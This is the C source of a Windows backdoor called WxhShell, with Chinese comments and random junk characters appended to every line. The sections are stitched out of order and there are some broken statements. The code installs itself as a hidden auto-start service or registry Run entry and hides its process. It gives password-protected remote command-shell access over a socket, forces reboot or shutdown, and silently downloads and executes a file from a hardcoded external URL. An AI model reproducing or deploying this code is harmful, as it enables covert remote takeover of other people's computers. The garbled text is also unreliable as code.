    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {[PoLOCI  
    if(Boot(SHUTDOWN)) 8/*q#j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y25S:XHk9  
    else { p5c^dC{   
    closesocket(wsh); @@7<L  
    ExitThread(0); jQzq(oDQw  
    } rl9YB %P  
    break; DPJ#Y -0  
    } M"2Tuwz  
  // 获取shell ~k?7XF I  
  case 's': { L,| 60*  
    CmdShell(wsh); u-3A6Q  
    closesocket(wsh); }s=D,_}m  
    ExitThread(0); Jz s.)  
    break;  Q0' xn  
  } j`A%(()d  
  // 退出 s<[%7 6Y!  
  case 'x': { (,`ypD+3q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4mJ4)  
    CloseIt(wsh); ~`c?&YixU  
    break; ps"DL4*  
    } N;7Xt9l  
  // 离开 m5SJB]a/  
  case 'q': { 7.$0LN/a!Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pw*<tXH!  
    closesocket(wsh); V} Y %9V  
    WSACleanup(); yf+M  
    exit(1); .`& ($W  
    break; V*rAZ0  
        } 1u7Kc'.xc  
  } "qUUH4mR`  
  } bB'iK4  
s@K)RhTY  
  // 提示信息 C3Q[L}X\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *z;4. OX  
} _Iy0-=G  
  } "tB"C6b  
BB5(=n+  
  return; .t''(0_kC  
} `;4P?!WG  
Ro$'|}(+A  
// shell模块句柄 4G0Er?D   
int CmdShell(SOCKET sock) ~YKe:K+&z  
{ %mPIr4$Pg  
STARTUPINFO si; '9%72yG  
ZeroMemory(&si,sizeof(si)); TaeN?jc5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "Q6oPDX(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MZ o\1tU-i  
PROCESS_INFORMATION ProcessInfo; z=B*s!G  
char cmdline[]="cmd"; %4Cs c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c1M/:*?%  
  return 0; L5! aLv#  
} R9nW5f Nf  
-hw^3Af  
// 自身启动模式 0P^RciC f  
int StartFromService(void) (:Rj:8{  
{ AJt *48H*G  
typedef struct :@{(^}N8u  
{ JsI` #  
  DWORD ExitStatus; m07= _4  
  DWORD PebBaseAddress; Z`<S_PPz  
  DWORD AffinityMask; ms8de>A|H  
  DWORD BasePriority; =#dW^ ?p  
  ULONG UniqueProcessId; oBiJiPE=`  
  ULONG InheritedFromUniqueProcessId; A#$oY{"2Y  
}   PROCESS_BASIC_INFORMATION; Y3+DTR0|'  
iTF`sjL  
PROCNTQSIP NtQueryInformationProcess; &2[OH}4  
}#5V t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .dX ^3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hAtf)  
5xe} ljo  
  HANDLE             hProcess; &?flH;  
  PROCESS_BASIC_INFORMATION pbi; 3 ha^NjE  
kx0(v1y3gT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S[(Tpk2_  
  if(NULL == hInst ) return 0; Ya{$:90(4  
b HRH2Ss  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,%7>%*nhk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /MYl:>e>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $(B|$e^:(  
^N#B( F  
  if (!NtQueryInformationProcess) return 0; \=PnC}7I  
} M-^A{C\%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #'[4k:  
  if(!hProcess) return 0; P}hHx<L  
t=o2:p6&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l Os91+.%  
o0nd]"q?  
  CloseHandle(hProcess); wm~35cF(  
vFm8T58 7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yXP+$oox9  
if(hProcess==NULL) return 0; /ap3>xkt  
){^o"A?-:  
HMODULE hMod; ,]RMa\Q4Wg  
char procName[255]; f Ne9as  
unsigned long cbNeeded; .anXsjD%W  
;:2]++G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F!.Z@y P  
Qc1NLU9:  
  CloseHandle(hProcess); KSkT6_<  
ieuq9ah#  
if(strstr(procName,"services")) return 1; // 以服务启动 :b t;DJ@  
Em8q1P$tm>  
  return 0; // 注册表启动 3NU{7,F  
} z6 T3vw  
R5OP=Q8  
// 主模块 =hD@hQ i  
int StartWxhshell(LPSTR lpCmdLine) :Z)a&A9v  
{ nk=+6r6  
  SOCKET wsl; 2$ m#)*\  
BOOL val=TRUE;  %f3qCN  
  int port=0; !YX$4_I  
  struct sockaddr_in door; d[K71  
&h^E_]P  
  if(wscfg.ws_autoins) Install(); }#%3y&7M7  
A$d)xq-]K  
port=atoi(lpCmdLine); *} @Y"y  
Wk<heF  
if(port<=0) port=wscfg.ws_port; Xc8r[dX  
Lv;% z  
  WSADATA data; xE>H:YPm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y$JGpeq8w  
4z6i{n-k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _v=S4A#tF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xAJ N(8?  
  door.sin_family = AF_INET; 9~3;upWu!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  W^dk:  
  door.sin_port = htons(port); (j<FS>##  
3XykIj1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =Q+i(UGHi  
closesocket(wsl); Yf1&"WW4  
return 1; aE aU_f /  
} VZveNz@]r  
zD}@QoB  
  if(listen(wsl,2) == INVALID_SOCKET) { X=C*PWa7  
closesocket(wsl); ?XCFR t,ol  
return 1; T0HNld  
} @nWhUH%  
  Wxhshell(wsl); /Z3 Mlm{  
  WSACleanup(); |!t &ZpdD  
>qE f991SZ  
return 0; au=A+  
P"-*'q,9  
} 2Xw=kwu  
RBOb/.$  
// 以NT服务方式启动 pg<m0g@W*;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #3VOC#.  
{ {*yFTP"93  
DWORD   status = 0; ws/e~ T<c  
  DWORD   specificError = 0xfffffff; 69q#Zw[,,  
# <?igtUO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +"mS<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |ty?Ah,vb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y~ 2C2'7  
  serviceStatus.dwWin32ExitCode     = 0; %_P[ C}4  
  serviceStatus.dwServiceSpecificExitCode = 0; qb$&BZj]|  
  serviceStatus.dwCheckPoint       = 0; mYUR(*[  
  serviceStatus.dwWaitHint       = 0; 1s-dqHz"s  
~Un+Zs%24  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Cx6Me>,=  
  if (hServiceStatusHandle==0) return;  lL\%eQ  
>b;o&E`\  
status = GetLastError(); 4*0C_F@RX  
  if (status!=NO_ERROR) sA(d_ Yu_  
{ wak:"B[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jm ORKX+)  
    serviceStatus.dwCheckPoint       = 0; ?T1vc  
    serviceStatus.dwWaitHint       = 0; q g2 fTe  
    serviceStatus.dwWin32ExitCode     = status; og[cwa_  
    serviceStatus.dwServiceSpecificExitCode = specificError; isBtJ7\Sc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bm>>-nG;  
    return; rtSG- _[i  
  } ]3D>ai?  
gPE` mE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uqotVil,  
  serviceStatus.dwCheckPoint       = 0; nsA}A~(E  
  serviceStatus.dwWaitHint       = 0; jT'09r3P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 60\`TsFobT  
} PEr &|H2  
r5,V-5b  
// 处理NT服务事件,比如:启动、停止 ohJo1}{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !eu\ShI  
{ !{1;wC(b  
switch(fdwControl) olv0w ;s  
{ @k-C>h()C  
case SERVICE_CONTROL_STOP: s' 4O] k`  
  serviceStatus.dwWin32ExitCode = 0; Vi m::  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rs@>LA  
  serviceStatus.dwCheckPoint   = 0; "M;aNi^B  
  serviceStatus.dwWaitHint     = 0; fEo5j`}  
  { m{gw:69h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8P?p  
  } BQ:hUF3  
  return; !qu/m B  
case SERVICE_CONTROL_PAUSE: u<['9U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; " "@kBY1C  
  break; \<aR^Sj.  
case SERVICE_CONTROL_CONTINUE: <rihi:4K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O7"16~ a  
  break; 56?RFnZ&j  
case SERVICE_CONTROL_INTERROGATE: %f?Z/Wn  
  break; fsjCu!  
}; y9Q #%a8V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g:fkM{"{  
} nl-y0xD9c  
M!wa }  
// 标准应用程序主函数 @B`nM#X#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ro@ =oyLE  
{ Lcz`  
nYnB WDnV  
// 获取操作系统版本 L`"j> ),  
OsIsNt=GetOsVer(); gs"w 0[$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I}sb0 Q&  
_. &N@k  
  // 从命令行安装 *Y':raP  
  if(strpbrk(lpCmdLine,"iI")) Install(); gF>t+"+ x  
MBqw{cy  
  // 下载执行文件 J#DN2y <  
if(wscfg.ws_downexe) { )Drif\FF)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %a:>3! +  
  WinExec(wscfg.ws_filenam,SW_HIDE); hHk9O?  
} $KVCEe!X  
`%/w0,0  
if(!OsIsNt) { G,}"}v:  
// 如果时win9x,隐藏进程并且设置为注册表启动 dw>1Ut{"3  
HideProc(); P:>]a$Is  
StartWxhshell(lpCmdLine); 5S*aZ1t18  
} 5m yQBKE  
else Q_)$Ha{>H,  
  if(StartFromService()) r>ag( ^J\  
  // 以服务方式启动 =[:pm)   
  StartServiceCtrlDispatcher(DispatchTable); iv ~<me0F  
else 7O-fc1OTv  
  // 普通方式启动 m%cwhH_B  
  StartWxhshell(lpCmdLine); FL {$9o\@  
?J@P0(M#  
return 0; 7Ucq(,\./  
} FN/siw(?3  
CjGQ  
u[HamGxx$u  
.*X=JFxl  
=========================================== U1W8f|u  
:6 qt[(<"  
] T<#bNK\1  
|va^lT  
jN AS'JV  
6~-,.{Y  
" 5.LfN{gE)  
+1]A$|qyW  
#include <stdio.h> lhPxMMS`j  
#include <string.h> +!K*FU=).  
#include <windows.h> u}.mJDL  
#include <winsock2.h> d2?#&d'aq  
#include <winsvc.h> xE rAs}|  
#include <urlmon.h> YrsE 88QqI  
Pj1k?7  
#pragma comment (lib, "Ws2_32.lib") F_Gc_eT  
#pragma comment (lib, "urlmon.lib") RF= $SMTk  
^ X-6j[".  
#define MAX_USER   100 // 最大客户端连接数 P  Ij  
#define BUF_SOCK   200 // sock buffer ^fQa whub  
#define KEY_BUFF   255 // 输入 buffer uD?Rs`  
_3IRj=Cs  
#define REBOOT     0   // 重启 .^6yCs5~`  
#define SHUTDOWN   1   // 关机 :'FCeS9  
}]Nt:_UCX  
#define DEF_PORT   5000 // 监听端口 3RF`F i  
V KxuK0{  
#define REG_LEN     16   // 注册表键长度 2wJa:=$  
#define SVC_LEN     80   // NT服务名长度 7GvMKtuSK  
k;Fxr%  
// 从dll定义API [1mEdtqf*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V`8\)FFG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c#f@v45  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x!6<7s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vY7 @1_"  
c^<~Y$i  
// wxhshell配置信息 ]_j= { 0%  
struct WSCFG { p=m:^9/  
  int ws_port;         // 监听端口 !4T!@"#  
  char ws_passstr[REG_LEN]; // 口令 m8V}E& 6  
  int ws_autoins;       // 安装标记, 1=yes 0=no +KaVvf  
  char ws_regname[REG_LEN]; // 注册表键名 g4y& 6!g  
  char ws_svcname[REG_LEN]; // 服务名 I_ AFHrj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (*_lLM@Cd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LJ K0WWch  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,M~> t7+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m@UrFPZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^#XQ2UN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +4Fw13ADE  
1Ko4O)L]&  
}; & WeN{  
G+2 ,x0(  
// default Wxhshell configuration hV+=hX<h  
struct WSCFG wscfg={DEF_PORT, M?AKJE j5  
    "xuhuanlingzhe", qi ">AQpp  
    1, e<qfM&*  
    "Wxhshell", Ylyk/  
    "Wxhshell", gZiwXb  
            "WxhShell Service", LpL$=9  
    "Wrsky Windows CmdShell Service", fv@<  
    "Please Input Your Password: ", /=T:W*C  
  1, H@u5&  
  "http://www.wrsky.com/wxhshell.exe", [$F*R@,&  
  "Wxhshell.exe" %WC ^aKfY  
    }; 2m"cK^  
pSI8"GwQ  
// 消息定义模块 D&@Iuo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?bpV dm!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -:kIIK   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J"Fp),  
char *msg_ws_ext="\n\rExit."; 7<Qmpcp =  
char *msg_ws_end="\n\rQuit."; wFMw&=j  
char *msg_ws_boot="\n\rReboot..."; 4*D"*kR;  
char *msg_ws_poff="\n\rShutdown..."; 'F#dv[N  
char *msg_ws_down="\n\rSave to "; V/:2xT  
9 r&JsCc  
char *msg_ws_err="\n\rErr!"; ];jp)P2o  
char *msg_ws_ok="\n\rOK!"; O"/Sv'|H#  
IT)3Et@Y  
char ExeFile[MAX_PATH]; ,p#r; O<O  
int nUser = 0; o@7U4#E  
HANDLE handles[MAX_USER]; c%bzrYQvA;  
int OsIsNt; !{{gL=_@  
i"=lxqWeaV  
SERVICE_STATUS       serviceStatus; d WY{x47  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m@u% 3*:  
mYj)![  
// 函数声明 tj*/%G{Y  
int Install(void); +KD7Di91<K  
int Uninstall(void); ;4(}e{  
int DownloadFile(char *sURL, SOCKET wsh); x7Gf):,LK  
int Boot(int flag); j@w1S[vt  
void HideProc(void); :`E p#[Wvo  
int GetOsVer(void); d S'J@e=#  
int Wxhshell(SOCKET wsl); z{FFTb^B  
void TalkWithClient(void *cs); 2Y<]X7Ch:  
int CmdShell(SOCKET sock); FE]UqB  
int StartFromService(void); )0]U"Nf ho  
int StartWxhshell(LPSTR lpCmdLine); 1D3 8T  
Dx`-h#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0AdxV?6z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fi;H   
0~K&P#iR  
// 数据结构和表定义 RKE"}|i +S  
SERVICE_TABLE_ENTRY DispatchTable[] = vj 344B  
{ .c:h!-D;  
{wscfg.ws_svcname, NTServiceMain}, ( Zd(?">i  
{NULL, NULL} FUlhEH  
}; Ibu9A wPm  
R&BWCC{  
// 自我安装 d =n{Wn{C  
int Install(void) b$%Kv(  
{ M0~%[nX  
  char svExeFile[MAX_PATH]; !_QT{H  
  HKEY key; 7 7y+ik  
  strcpy(svExeFile,ExeFile); N_S~&(I|  
_ziSH 3(  
// 如果是win9x系统,修改注册表设为自启动 .c ~z^6x  
if(!OsIsNt) { D/~1?p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K!.t}s.t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q*|Alrm  
  RegCloseKey(key); EFljUT?&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K5|~iW'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Q!}tbg~9  
  RegCloseKey(key); (ie%zrhS  
  return 0; -*MY7t3  
    } jU7[z$GX  
  } ""XAUxo  
} *U]&a^N  
else { xY#J((-iH  
6_])(F3+w.  
// 如果是NT以上系统,安装为系统服务 hc+B+-,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >X eXd{$  
if (schSCManager!=0) (tOhuSW  
{ 'vZIAnB8  
  SC_HANDLE schService = CreateService \~z$'3H`  
  ( LiV&47e*>  
  schSCManager, Hz."4nhv  
  wscfg.ws_svcname, ~59lkr8  
  wscfg.ws_svcdisp, ooUVVp  
  SERVICE_ALL_ACCESS, -{ 1P`&G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <Q/)SN6_E  
  SERVICE_AUTO_START, GCq4{_B\Q  
  SERVICE_ERROR_NORMAL, L!zdrCM  
  svExeFile, Q}OloA(+  
  NULL, Z\EA!Cs3  
  NULL, 8cG`We8l&  
  NULL, q(:L8nKT]  
  NULL, +(92}~RK  
  NULL A8{ xZsH  
  ); .pQ5lK(R  
  if (schService!=0) )\EIXTZY=  
  { P1T {5u!T  
  CloseServiceHandle(schService); iiMS3ueF  
  CloseServiceHandle(schSCManager); )=d)j^ t9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7xv9v1['  
  strcat(svExeFile,wscfg.ws_svcname); jhQoBC>:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wp8>Gfb2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ycspdl+(S$  
  RegCloseKey(key); v N\[2r%S  
  return 0; V%PQlc.X  
    } ?o?$HK   
  } $zp|()_  
  CloseServiceHandle(schSCManager); >MN"87U6  
} ?%UiW7}j';  
} oJr+RO  
p|2GPrA]aL  
return 1; [B+F}Q^;  
} 6>rz=yAM_  
U364'O8_  
// 自我卸载 m^!j)\sM5  
int Uninstall(void) ufIvvZ*  
{ Cj-&L<  
  HKEY key; 1:](=%oM&k  
x@Z{5w_a  
if(!OsIsNt) { #f24a?n|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Jr'4%   
  RegDeleteValue(key,wscfg.ws_regname); X"+p=PGZK  
  RegCloseKey(key); K+!e1 '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Ii5V c  
  RegDeleteValue(key,wscfg.ws_regname); '(3 QyCD  
  RegCloseKey(key); P@ew' JL%  
  return 0; 8`urkEI^r  
  } ub-e!{  
} FEu"b@v  
} SfC* ZM}<  
else { ||QK)$"  
O}Pqbx&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )5~T%_  
if (schSCManager!=0) b)Da6fp  
{ 7 uL.=th'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SA}Dkt&,  
  if (schService!=0) = NZgbl  
  { f0sLe 3  
  if(DeleteService(schService)!=0) { 03v+eT  
  CloseServiceHandle(schService); j;@a~bks6z  
  CloseServiceHandle(schSCManager); heou\;GI"  
  return 0; +5*bU1}O  
  } fEXFnQ#  
  CloseServiceHandle(schService); \ opM}qZ  
  } zgEN2d  
  CloseServiceHandle(schSCManager); re[5lFQ~Z  
} tt?`,G.(]  
} E-.X%xfO  
>9A18xC  
return 1; C{85#`z`  
} sED"}F)  
(FApkvy  
// 从指定url下载文件 B._YT   
int DownloadFile(char *sURL, SOCKET wsh) r/'!#7dLG-  
{ |{kbc0*  
  HRESULT hr; lr~ |=}^  
char seps[]= "/"; "/e)v{  
char *token; ,zM@)Q ;9  
char *file; >dJuk6J&c&  
char myURL[MAX_PATH]; VqW5VL a  
char myFILE[MAX_PATH]; ">. k 6Q  
:Q=y'<  
strcpy(myURL,sURL); SgewAng?@o  
  token=strtok(myURL,seps); .(q'7Q Z/  
  while(token!=NULL) dV38-IfGkl  
  { "[?DS  
    file=token; AJEbiP  
  token=strtok(NULL,seps); igA?E56?  
  } XJeWhk3R9  
ptT-{vG  
GetCurrentDirectory(MAX_PATH,myFILE); 02t({>`  
strcat(myFILE, "\\"); 4;Ucas6  
strcat(myFILE, file); E|c(#P{  
  send(wsh,myFILE,strlen(myFILE),0); 1k4\zVgi  
send(wsh,"...",3,0); %_5#2a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V/2NIh  
  if(hr==S_OK) bpZA% {GS  
return 0; uPl}NEwU|  
else f^1J_}cL  
return 1; &Ril[siw  
bl a`B=r  
} w6!97x  
AH&RabH2  
// 系统电源模块 uthW AT &  
int Boot(int flag) 0)d='3S  
{ _LwF:19Il  
  HANDLE hToken; \;~Nj#  
  TOKEN_PRIVILEGES tkp; LEPLoF3,  
*4%pXm;  
  if(OsIsNt) { E Ou[X'gLr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ) dk|S\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9!X3Cv|+L  
    tkp.PrivilegeCount = 1; . KLEx]f.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |3e+ K.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o|h=M/  
if(flag==REBOOT) { o FP8s[B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ugTsI~aE  
  return 0; E5rV}>(Y  
} fV>d_6Lf}  
else { oMg-.!6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gl'G;F$Y-  
  return 0; W/BPf{U  
} ;]grbqXVE  
  } 41Q 5%2  
  else { $L0sBW&  
if(flag==REBOOT) { I m I$~q'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q{9 \hEeb  
  return 0; gyAJ#N|  
} [G$#jUt/O  
else { Rmmu#-{Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \O "`o4  
  return 0; kHhp;<  
} Ny7*MZ-  
} T>% 5<P  
hJxL|5Uo  
return 1; Mw RLv,&"  
} *h0D,O"0  
RN-gZ{AW  
// win9x进程隐藏模块 1i$VX|r  
void HideProc(void) 7\%JJw6h  
{ 1Mp-)-e  
HBe*wkPd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Sk+XBX(}  
  if ( hKernel != NULL ) axUj3J>  
  { ow9a^|@a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yR|2><A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uFSU|SDd.  
    FreeLibrary(hKernel); 5GScqY,aB  
  } i!}k5k*Z  
[(x<2MTj  
return; CBf[$[e  
} %k4Qx5`?d  
sPZwA0%  
// 获取操作系统版本 k)7i^ 1U  
int GetOsVer(void) $]_SPu  
{ rwXpB<@l@  
  OSVERSIONINFO winfo; 03 gbcNo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 50 Gr\  
  GetVersionEx(&winfo); '(B -{}l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~wuCa!!A  
  return 1; EQlb:;j  
  else \54B  
  return 0;  Ll; v[Y  
} RBf#5VjOG!  
FCNYfjB%  
// 客户端句柄模块 5n2!Y\  
int Wxhshell(SOCKET wsl) C lf;+G0  
{ {H[N|\  
  SOCKET wsh; 7d>w]R,Z  
  struct sockaddr_in client; Ygk_gBRiC  
  DWORD myID; R q@|o5O  
L>IP!.J]?  
  while(nUser<MAX_USER) w;ZT-Fti  
{ <}[ !k<  
  int nSize=sizeof(client); jw{N#QDh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4!{lySW  
  if(wsh==INVALID_SOCKET) return 1; ;iX~3[]  
r2\%/9uO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r]cq|Nv8:  
if(handles[nUser]==0) hOk9y=  
  closesocket(wsh); ,e'm@d$Q*  
else z[J=WI  
  nUser++; id9QfJ9t  
  } G3TS?u8Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dT'}:2  
*B!Ox}CI.L  
  return 0; w>f.@luO4  
} C <:g"F:k  
9*s8%pL  
// 关闭 socket | CFG<]  
void CloseIt(SOCKET wsh) y%%VJ}'X!  
{ n(Nu  
closesocket(wsh); sG#Os  
nUser--; 5B:"$vC{=  
ExitThread(0); 3v_j*wy  
} / Q@4HV  
eG(YORkR  
// 客户端请求句柄 /~'C!so[v  
void TalkWithClient(void *cs) r~T!$Tb  
{ +I5\ `By=  
X8Z) W?vu  
  SOCKET wsh=(SOCKET)cs; ]'xci"qV`  
  char pwd[SVC_LEN]; gBV4IQ  
  char cmd[KEY_BUFF]; S\N l|U[  
char chr[1]; " J9  
int i,j; 5fk A?Ecqq  
3HtM<su*h  
  while (nUser < MAX_USER) {  m,+PYq  
l=XZBe*[g'  
if(wscfg.ws_passstr) { %%X/gvaJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yWRIh*>nE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YM;ro5_KF  
  //ZeroMemory(pwd,KEY_BUFF); c`3`}&g#  
      i=0; C0w_pu  
  while(i<SVC_LEN) { Ux',ma1JK  
( ww4(  
  // 设置超时 axC{azo|  
  fd_set FdRead; hJ8&OCR }  
  struct timeval TimeOut; 7hn[i,?` H  
  FD_ZERO(&FdRead); 7#"NKxb  
  FD_SET(wsh,&FdRead); :|5 m"X\  
  TimeOut.tv_sec=8; cu}(\a  
  TimeOut.tv_usec=0; UUWRC1EtI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >b\|%=(x!*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v0) %S  
E!}'cxb^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g0biw?  
  pwd=chr[0]; ^NU_Tp:2^  
  if(chr[0]==0xd || chr[0]==0xa) { \,NT5>  
  pwd=0; ]p+KN>1e  
  break; -n"f>c_{>  
  } aoW2c1`?Z  
  i++; 3"Oipt+  
    } STu(I\9  
JzywSQ  
  // 如果是非法用户,关闭 socket }*!L~B!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QyTN  V  
} -ABj>y[  
)OQm,5F1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y_]y :H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ).,twf58  
!8|r$mN8  
while(1) { uu]C;wl  
*fi`DiO  
  ZeroMemory(cmd,KEY_BUFF); W="pu5q$5  
rJf{YUZe  
      // 自动支持客户端 telnet标准   a++gwl  
  j=0; V+sZ;$  
  while(j<KEY_BUFF) { nO6UlY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2va[= >_  
  cmd[j]=chr[0]; p?Ux1S  
  if(chr[0]==0xa || chr[0]==0xd) { ]{i0?c  
  cmd[j]=0; =zAFsRoD_B  
  break; j# c@dze  
  } =\ 8 x  
  j++; )$Ib6tYY  
    } ![{/V,V]~  
\l0!si  
  // 下载文件 h] )&mFiE"  
  if(strstr(cmd,"http://")) { '#A_KHD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !|VtI$I>x  
  if(DownloadFile(cmd,wsh)) ByoI+n* U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -[>J"l  
  else yAGQD[ih  
